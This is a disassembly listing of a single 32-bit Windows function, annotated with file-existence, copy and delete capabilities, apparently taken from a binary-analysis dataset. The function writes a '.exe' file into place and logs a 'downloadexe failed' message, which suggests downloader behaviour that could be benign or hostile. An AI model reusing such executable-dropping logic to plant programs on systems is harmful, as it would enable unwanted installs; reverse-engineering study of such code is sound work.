Function at 0x1001efd0
Capabilities:
Check if file exists
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100a8f83
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
push ebx
push esi
push edi
mov eax, dword [0x100db774]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x34], edi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 3
push eax
call fcn.10015a30
add esp, 4
mov byte [ebp - 4], 4
call fcn.10002dd0
mov ecx, eax
test ecx, ecx
je 0x1001f4ab
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push 5
push str.Basic
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.1000c610
push dword [ebp - 0x14]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
call ebx
test eax, eax
jne 0x1001f05d
push dword [ebp - 0x14]
push eax
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
call fcn.10002700
push 1
push 0x100aee54
lea ecx, [ebp - 0x10]
call fcn.1000c610
push ecx
mov esi, esp
mov dword [ebp - 0x20], esp
mov dword [ebp - 0x18], esi
call fcn.10002dd0
mov ecx, eax
test ecx, ecx
je 0x1001f4b5
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov eax, str..exe
mov byte [ebp - 4], 6
shr eax, 0x10
mov ecx, str..exe
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x1001f0bf
movzx eax, cx
mov ecx, esi
push eax
call fcn.10003780
jmp 0x1001f0cd
push 4
push str..exe
mov ecx, esi
call fcn.10002a80
push ecx
mov esi, esp
mov byte [ebp - 4], 7
mov dword [ebp - 0x18], esi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
push eax
call fcn.10002800
add eax, 0x10
add esp, 4
mov dword [esi], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 5
push eax
call fcn.10014c80
add esp, 0xc
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 8
push dword [eax - 0xc]
push eax
call fcn.1000c610
push dword [ebp - 0x10]
call ebx
test eax, eax
je 0x1001f120
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.10002dd0
mov ecx, eax
test ecx, ecx
je 0x1001f4bf
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push dword [edi + 4]
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 9
push dword [edi]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
call fcn.1001fc70
mov edi, dword [ebp - 0x18]
add esp, 0x14
or ebx, 0xffffffff
test eax, eax
je 0x1001f347
call fcn.10002dd0
mov ecx, eax
test ecx, ecx
je 0x1001f4c9
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp + 0x14]
mov byte [ebp - 4], 0xa
cmp dword [eax - 0xc], 0
je 0x1001f2be
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1001f1a5
push dword [ebp + 0x14]
push eax
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
push 0x100aee54
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.1001e4b0
add esp, 0xc
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xb
call fcn.10002700
mov edx, dword [ebp - 0x20]
mov eax, ebx
mov byte [ebp - 4], 0xa
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001f1e5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x24], esi
call fcn.10002dd0
mov ecx, eax
test ecx, ecx
je 0x1001f4d3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
cmp dword [ebp - 0x30], 0
mov ecx, esi
mov byte [ebp - 4], 0xc
jne 0x1001f223
mov eax, str..exe
movzx eax, ax
push eax
call fcn.10003780
jmp 0x1001f22f
push 4
push str..exe
call fcn.10002a80
push ecx
mov esi, esp
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x24], esi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
push eax
call fcn.10002800
add eax, 0x10
add esp, 4
mov dword [esi], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0xa
push eax
call fcn.10014c80
add esp, 0xc
mov eax, dword [eax]
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xe
push dword [eax - 0xc]
push eax
call fcn.1000c610
mov edx, dword [ebp - 0x20]
mov eax, ebx
mov byte [ebp - 4], 0xa
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001f28d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x1c]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1001f2a2
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1001f2be
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x10]
call fcn.10002700
push dword [ebp + 0x18]
push ecx
mov ebx, esp
mov dword [ebp + 0x18], esp
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff0
push eax
call fcn.10002800
add eax, 0x10
mov dword [ebx], eax
mov ebx, esp
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
mov byte [ebp - 4], 0xf
push eax
call fcn.10002800
add eax, 0x10
mov dword [ebx], eax
mov ebx, esp
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
push eax
call fcn.10002800
mov ecx, dword [ebp - 0x34]
add esp, 4
add eax, 0x10
mov dword [ebx], eax
mov byte [ebp - 4], 0xa
call fcn.1001e5f0
or ebx, 0xffffffff
mov dword [ebp + 0x18], eax
mov byte [ebp - 4], 9
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x1001f342
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp + 0x18]
jmp 0x1001f3a7
call fcn.1005c2e0
test eax, eax
je 0x1001f3a5
call fcn.1005c2e0
mov ecx, eax
mov edx, dword [eax]
mov eax, dword [edx + 4]
call eax
test al, al
je 0x1001f3a5
call fcn.1005c2e0
lea ecx, [ebp - 0xcc]
mov ebx, eax
call fcn.100068b0
mov esi, eax
push str.CExecuteURLExe::downloadexe_failed._res
push esi
mov byte [ebp - 4], 0x11
call fcn.10007500
push edi
push esi
call fcn.10007500
mov eax, dword [ebx]
add esp, 0x10
mov ecx, ebx
push esi
call dword [eax + 0x14]
lea ecx, [ebp - 0xcc]
call fcn.100075c0
or ebx, 0xffffffff
xor esi, esi
mov byte [ebp - 4], 8
add edi, 0xfffffff0
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x1001f3c2
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, ebx
mov byte [ebp - 4], 5
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001f3e0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x10]
mov eax, ebx
mov byte [ebp - 4], 4
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001f3fe
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x14]
mov eax, ebx
mov byte [ebp - 4], 3
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001f41c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp + 8]
mov eax, ebx
mov byte [ebp - 4], 2
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001f43a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp + 0xc]
mov eax, ebx
mov byte [ebp - 4], 1
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001f458
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp + 0x10]
mov eax, ebx
mov byte [ebp - 4], 0
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1001f476
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], 0xffffffff
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x1001f495
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
push 0x80004005
call fcn.10001a70
push 0x80004005
call fcn.10001a70
push 0x80004005
call fcn.10001a70
push 0x80004005
call fcn.10001a70
push 0x80004005
call fcn.10001a70
int3